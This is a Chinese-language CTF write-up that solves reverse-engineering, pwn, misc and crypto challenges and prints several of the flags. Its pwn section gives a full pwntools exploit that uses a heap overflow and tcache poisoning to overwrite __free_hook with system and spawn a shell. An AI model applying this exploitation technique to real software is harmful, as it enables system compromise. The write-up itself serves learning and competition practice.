目录
Reverse
0x0 EasyApk
- 直接JEB加载:
- 主窗口代码如下
- Encode类代码:
- 其实就是魔改的base64加密。其中函数base_1是将输入的字符串转成二进制流,函数base就是base64加密算法。首先判断数据是否为24的倍数,不是就在末尾补0,正好符合base加密的特征之一。然后将数据6个位划分为一组,循环查表,符合base加密的特征之二。然后就是字符替换表被修改了,那么结合base的特点,我们可以同时将密文和字符表中的非ASCII码换成对应的ASCII码,且保证每个ASCII码不重复,解密就行了。替换规则如下:
-
原来的字符表:αβγδεζηθικλμνξοπρστυφχψωさしすせそたちつってとゐなにぬねのはひふへほゑまawopxqudlg+/
替换后的字符表:-.<>?A'1[]{}|!@#$%^&()`~erstyizxcvbnmjkERSTYIZXCawopxqudlg+/
-
原来的密文:しぬwてしdほγさωξにξゐσつτωξつそpβつしψζpψτεてつρ;;
替换后的密文:rkwvrdZ<e~!j!n%x^~!xyp.xr`Ap`^?vx$;; -
到此,如果使用自己编写的脚本只需将检测字符表长度是否为64注释掉,解密没有问题。如果是用别人的工具解密的话,可能就要将字符表和密文全替换成标准的形式,不过这样工作量比较大。
最后解的flag:
0x1 FlagEncode
- 先看一下程序有没有壳
- 没壳直接上IDA:
- 很清晰的一个加密过程,也非常简单。加密用的是一个循环密钥,关键在于密钥怎么求。这里用到PE文件的一个特性:一般来说每个PE文件在偏移为0x4E处都有一段“This program cannot be run in DOS mode”。
- 我们可以利用这个线索反求key:
- 最后解密程序:
0x2 EasyRE
- 老规矩,先看有没有壳:
- 好,没壳直接上IDA,只看到一大堆未识别的函数,此时莫慌,字符串搜索居然发现了flag?
- 真的这么简单的吗?提交果然不对!接着往下看,对
进行交叉引用,来到真正对输入进行校验的地方:
- 脚本:
data=[0x78,0x49,0x72,0x43,0x6A,0x7E,0x3C,0x72,0x7C,0x32,0x74,0x57,0x73,0x76,0x33,0x50,0x74,0x49,0x7F,0x7A,0x6E,0x64,0x6B,0x61]
flag=''
for i in data:
flag+=chr((i^6)-1)
print(flag[::-1])
- flag{xNqU4otPq3ys9wkDsN}
0x3 HardAPP
- 这是赛后分析的,校验是放在线程中的,并且通过触发异常才会来到解密flag的地方
- 表哥说IDA未能正确识别sub_4026F0()就是memset()和sub_402990()就是memcpy()。到此只需要爆破lpThreadParameter这个参数即可。
脚本
#include <tchar.h>
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
#include <conio.h>
#include<memory.h>
#include"defs.h"
#pragma comment (lib, "advapi32")
#define KEYLENGTH 0x00800000
#define ENCRYPT_ALGORITHM CALG_RC4
#define ENCRYPT_BLOCK_SIZE 8
void sub_4013C0(BYTE *a1, int a2)
{
int result; // eax@3
int i; // [sp+0h] [bp-4h]@1
for (i = 15; i >= 0; i--)
{
memcpy(&a1[i * 2], &a2, 2);
a2 ^= ((unsigned int)(unsigned __int16)a2 >> 4) ^ ((unsigned __int16)a2 << 11) ^ ((unsigned __int16)a2 << 7);
}
}
int StartAddress(int lpThreadParameter)
{
DWORD pdwDataLen; // [sp+0h] [bp-98h]@1
BYTE Data[32] = { 0x19, 0x85, 0x52, 0x7d, 0xb7, 0xb8, 0x5a, 0xbe, 0x59, 0x30, 0xec, 0xed, 0xf9, 0x21, 0x79, 0xf4, 0xcc, 0x87, 0x3e, 0x9a, 0x3d, 0x4c, 0x25, 0xe4, 0x17, 0xb2, 0x34, 0x73, 0x79, 0xff, 0x88, 0x28 };
HCRYPTPROV phProv; // [sp+8h] [bp-90h]@1
HCRYPTKEY phKey; // [sp+Ch] [bp-8Ch]@1
BYTE bKey[0x2c];
unsigned char key1[0xC] = { 0x08, 0x02, 0x00, 0x00, 0x10, 0x66, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00 };
BYTE key2[0x20] = { 0 };
phProv = 0;
phKey = 0;
CryptAcquireContextA(&phProv, 0, 0, 0x18u, 0);// 鑾峰緱鎸囧畾CSP鐨勫瘑閽ュ鍣ㄧ殑鍙ユ焺,浣跨敤榛樿瀹瑰櫒鍚嶏紝鎸囧畾CSP鎻愪緵鑰呯殑鍚嶇О涓虹┖锛屽姞瀵嗙被鍨?0x18
memset(bKey, 0, 0x2c);
memset(key2, 0, 0x20);
memcpy(bKey, key1, 0xc);
sub_4013C0(key2, lpThreadParameter);
memcpy(((BYTE*)&bKey) + 0xc, key2, 0x20);
CryptImportKey(phProv, bKey, 0x2C, 0, 0, &phKey);
DWORD dwMode = CRYPT_MODE_ECB;
CryptSetKeyParam(phKey, KP_MODE, &dwMode, 0);
pdwDataLen = 32;
CryptDecrypt(phKey, 0, 1, 0, Data, &pdwDataLen);
if (*(_DWORD *)&Data == 0x67616C66)
{
printf("%s\n", Data);
return 1;
}
else
return 0;
}
int main()
{
int i=1;
for(;i<0xffffffff;i++)
if(StartAddress(i))break;
return 0;
}
PWN
0x4
- 比赛的时候没做出来,赛后在zero表哥的指导下做出来了。
- 首先看一下程序开启了什么保护:
- RELRO都开起了,看来只能修改hook表了。程序有添加/打印/删除操作。添加操作中存在堆溢出漏洞:
- 当size=0时就可以无限写。另外程序限制分配的大小不得超过0x40,所以要想泄露libc,还得想办法让某个chunk进入unsortbin中。此外,程序给出的libc是2.29的,引入了tcache机制,因此我们先要释放7个chunk填满tcache,后面才能正常进入对应的bin中。
- 我的想法是利用堆溢出伪造一个大小在unsortbin中的chunk,然后释放之以泄露内存。但是始终没有成功,就这个问题我请教了zero表哥,他说这题是利用scanf的一个机制来泄露内存的。
- 这就触及到我的知识盲区了。
- scanf函数在接收很长的数据时,即使关闭了输入缓冲区:
-
他也会申请一块large chunk来存放这段数据,此时会如果fastbin中有闲置的chunk,就会被合并放入unsortbin中。难怪我之前还多余去构造unsortbin,最后都被这个给破坏了,所以泄露不出来。能够泄露内存后就利用tcache attack,修改fd为free_hook,然后malloc两次,就会得到free_hook的内存,将其修改为system,然后free掉一个含有/bin/sh\0的chunk就可以getshell了
EXP:
#encoding=utf-8
from pwn import*
#context.log_level=1
p=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.28.so',checksec=False)
def Add(name,size,data):
p.sendlineafter(':','1')
p.sendlineafter('id:',name)#16
p.sendlineafter('name:',str(size))
p.sendlineafter('book:',data)
def Show(idx):
p.sendlineafter(':','3')
p.sendlineafter('number:',str(idx))
def Del(idx):
p.sendlineafter(':','2')
p.sendlineafter('number?',str(idx))
for i in range(14):
Add(p8(i+1)*0xf,0x10,p8(i+1)*0xf)
for i in range(7):
Del(i)
p.sendlineafter(':','1')
p.sendlineafter('id:','hack')#16
p.sendlineafter('name:','6'*0x666)
for i in range(7):
Add('',0x10,'')
Add('/bin/sh\0',0x10,'/bin/sh\0')#14
Show(5)
p.recvuntil('\x69\x73\x20')
libc_base=u64(p.recv(6).ljust(8,'\0'))-0x1bbca0
free_hook=libc.sym['__free_hook']+libc_base
system=libc.sym['system']+libc_base
success('libc_base:'+hex(libc_base))
success('free_hook:'+hex(free_hook))
Del(0)
Del(1)
Del(2)
Add('hack',0,'\0'*0x10+p64(0)+p64(0x21)+p64(free_hook))#0
'''gdb.attach(p)
pause()'''
Add('',0x10,'')
Add(p64(system),0,p64(system))
Del(14)
p.interactive()
Misc
0x5 瞅啥
- 图片如下:
- binwalk查看发现有隐藏的文件
- 分离得出两个文件:png和zip。而png和没分离之前是一样的图案,zip显示是加密的。在排除了伪加密之后,怀疑密码藏在图片里。根据题目和图片得到暗示,修改高度后得到解压密码:
- 解压得到doc文件,但是flag不在里面。将其修改为zip的后缀,从解压文件中找到flag:
0x6 流量包分析
- 看到http协议里面有sql注入,于是过滤出http的数据包。观察服务器返回的数据,有这么两种结果:
和
可见是报错注入,正确会显示welcome to sanya,错误会显示nothing。所以再查找包含welcome to sanya的数据包,查看requst一栏,比对一下即可得到flag。
0x7 教练带我打CTF
- binwalk分离文件,将分离出的文件用imageIN打开:
- 社会主义核心价值观编码,解码得到flag:
- 爱国爱党爱人民!flag is flag{94e25cc5b1485a2067d3d83b45b0471b}
- 果然很社会!
Crypto
0x8 RSA1
- 三素数问题,很简单实在不想写了。
0x9 RSA2
- 常规分解N就可以了,比RSA1还简单,不写了。
0x10 MIX
- 比赛时没做出来,不够自信,还用错了python版本去跑(因为我系统默认是python3运行py),结果跑都跑不起来,经过美化后的代码还是看的很懵逼:
(lambda __operator, __print, __g, __y: [(sys.setrecursionlimit(1000000), [
[
[
[
[(decode(cipher), None)[1]
for __g['cipher'] in [('D6VNEIRAryZ8Opdbl3bOwqmBD+lmFXbcd/XSghalqYBh1FDtbJo=')]
][0]
for __g['decode'], decode.__name__ in [(lambda cipher: (lambda __l: [(init(), [
[
[(lambda __after: (__print('sorry,you dont have the auth'), 0)[1]
if (__l['auth'] != 1)
else __after())(lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [
[__this() for __l['result'] in [(__operator.iadd(__l['result'], chr((s[(__l['i'] % 256)] ^ ord(__l['cipher'][__l['i']])))))]][0]
for __l['i'] in [(__i)]
][0]
if __i is not __sentinel
else __after())(next(__items, __sentinel)))())(iter(range(len(__l['cipher']))), lambda: (__print(__l['result'].encode('base64')), None)[1], [])) for __l['auth'] in [(0)]][0]
for __l['cipher'] in [(__l['cipher'].decode('base64'))]
][0]
for __l['result'] in [('')]
][0])[1]
for __l['cipher'] in [(cipher)]
][0])({}), 'decode')]
][0]
for __g['init'], init.__name__ in [(lambda: (lambda __l: [
[(lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(s.append(__l['i']), (k.append(ord(__l['key'][(__l['i'] % len(__l['key']))])), __this())[1])[1]
for __l['i'] in [(__i)]
][0]
if __i is not __sentinel
else __after())(next(__items, __sentinel)))())(iter(range(256)), lambda: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [
[
[
[
[__this() for s[__l['j']] in [(__l['tmp'])]][0]
for s[__l['i']] in [(s[__l['j']])]
][0]
for __l['tmp'] in [(s[__l['i']])]
][0]
for __l['j'] in [((((__l['j'] + s[__l['i']]) + k[__l['i']]) % 256))]
][0]
for __l['i'] in [(__i)]
][0]
if __i is not __sentinel
else __after())(next(__items, __sentinel)))())(iter(range(256)), lambda: None, []), []) for __l['j'] in [(0)]][0]
for __l['key'] in [('aV9hbV9ub3RfZmxhZw=='.decode('base64'))]
][0])({}), 'init')]
][0]
for __g['k'] in [([])]
][0]
for __g['s'] in [([])]
][0])[1]
for __g['sys'] in [(__import__('sys', __g, __g))]
][0])(__import__('operator', level = 0), __import__('__builtin__', level = 0).__dict__['print'], globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
- 赛后问了一下,说要用python2跑。正常情况下会是这样的结果:
- 再看代码,发现仅有一处判断的地方 if (__l['auth'] != 1),试着把 !=修改为==,运行得到base64编码,解码得到flag。
- 就是这么简单,我还能怎么样呢?只能是满满的遗憾,又是送分的!